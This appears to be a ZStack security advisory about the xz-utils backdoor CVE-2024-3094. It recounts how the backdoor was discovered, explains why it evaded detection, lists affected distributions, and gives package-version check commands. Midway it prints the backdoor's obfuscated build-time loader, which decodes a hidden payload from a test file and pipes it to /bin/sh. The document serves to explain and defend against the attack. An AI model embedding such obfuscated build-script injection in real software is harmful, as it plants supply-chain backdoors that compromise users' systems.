xz Vulnerability How It Ignited the Security Community and the ZStack User Prevention Guide

On March 31, 2024, a security vulnerability designated as CVE-2024-3094 in xz-utils rocked the security community. What makes this case particularly notable is that the vulnerability was not inadvertently introduced by the author, but rather the result of a deliberate, calculated effort by the vulnerability author, who had covertly embedded themselves within the open-source community for three years before injecting the backdoor into the codebase.

xz has always been renowned for its high compression ratio, and now it has an additional new story.

The discovery of the vulnerability was serendipitous.

On an ordinary day in March, PostgreSQL developer Andres Freund sat at his computer preparing for micro-benchmarking to optimize database performance. However, his plans were soon interrupted by an unexpected phenomenon – the sshd process on his computer was abnormally consuming substantial CPU resources. Despite all SSH attempts immediately failing due to incorrect usernames, the sshd process still exhibited excessive activity. This observation prompted the developer’s question: Why was SSH consuming such high CPU usage?

Driven by curiosity, he began a thorough investigation. Using the performance analysis tool perf to profile the sshd process, he sought to identify the specific cause of CPU consumption. However, perf traced the activity to liblzma but couldn’t attribute the high CPU usage to any known symbols. This led the developer to suspect the presence of some unknown issue.

He recalled a peculiar valgrind report weeks earlier following PostgreSQL’s automated testing. After a routine package update, valgrind had reported anomalies, making him suspect issues might stem from the updated packages themselves. His attention turned to a recently updated package – the xz compression tool whose liblzma library was used by PostgreSQL for data compression tasks and widely adopted by numerous other software systems.

The developer began scrutinizing liblzma’s source code and recent commit history. Through a series of complex code reviews, he identified unusual commits, particularly those from an account named JiaT75 during this period. Ultimately, this was confirmed as an obfuscated, intentionally implanted backdoor.

Why is this backdoor significant?

xz is a foundational software and library widely referenced by the open-source community. Applications like ssh, docker, tar, etc., may directly or indirectly depend on liblzma. The discovery was specifically triggered by abnormal ssh behavior. If attackers devise sophisticated exploitation methods, they could potentially execute arbitrary commands on remote ssh servers without requiring SSH passwords or keys, making this highly impactful.  

Why wasn’t this backdoor detected earlier? 

1. Mixing suspicious code into legitimate commits:Attackers embedded backdoors within seemingly normal code submissions. For instance, JiaT75’s code submission to libarchive ostensibly added error messages but actually replaced secure functions, potentially introducing vulnerabilities. Such subtle modifications are easily overlooked.  
2. Targeted stealth and specificity:The backdoor’s activation requires highly specific conditions—it only triggers when built with gcc and GNU linker on x86-64 Linux systems as part of Debian/RPM packages. This specificity prevents detection in non-matching environments, and the build-time injection (rather than direct code insertion) further complicates discovery.  
3. Technical complexity:The backdoor employs sophisticated obfuscation techniques and malicious script injection during builds. Examples include using sed and tr commands to transform files, ultimately executing intricate head command sequences—all challenging to observe directly.

####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir=”../../$srcdir”
fi
export i=”((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)”;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr “\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131” “\0-\377”)|xz -F raw –lzma1 -dc|/bin/sh
####World####

Which platforms and operating systems are currently affected by the vulnerability?

The foundational infrastructure of ZStack Cloud Platform, including C74, C76, C79, and Helix, has been confirmed unaffected. The Kylin V10 operating system supported by ZStack Cloud Platform is also confirmed unaffected.

According to recommendations from operating system vendors, the following common Linux distributions have been confirmed to date*(March 31, 2024):  

• Fedora Linux 40 and Fedora Rawhide (Fedora development branch) [Affected] Confirmed
• Debian Unstable [Affected] Confirmed
• Kali Linux [Affected] Confirmed
• Amazon Linux (AWS) [Unaffected] Confirmed
• OpenSUSE [Unaffected] Confirmed
• Arch Linux [Affected] Confirmed

Fedora has released updates reverting to the secure xz 5.4.x versions. Red Hat has urgently warned users to immediately cease using any Fedora Rawhide instances until patching completes, as this forms the basis for the upcoming Fedora 41 release.  

No Red Hat Enterprise Linux versions currently appear affected, but the backdoor might also exist in other Linux distributions packaging the compromised xz 5.6.0/5.6.1 versions. Users should consult their operating system vendors for updates and guidance.

How to determine if cloud hosts on a cloud platform are affected?

Since the backdoor code is only introduced when building RPM or Debian packages, you can check for potential impact using package management tools. For example, the command to verify whether xz-utils or xz-libs are version 5.6.0 or higher would be:

rpm -qa | grep -E ‘xz-libs-5.6.*’
dpkg -l | grep -E ‘xz-utils.*5.6.’

Considering that batch checks on cloud hosts are time-consuming and labor-intensive, we recommend that platform administrators who have installed the ZStack CMP multi-cloud management platform perform batch checks through the script execution feature.

Click Read the original article to learn about the script library functionality of the ZStack CMP multi-cloud management platform.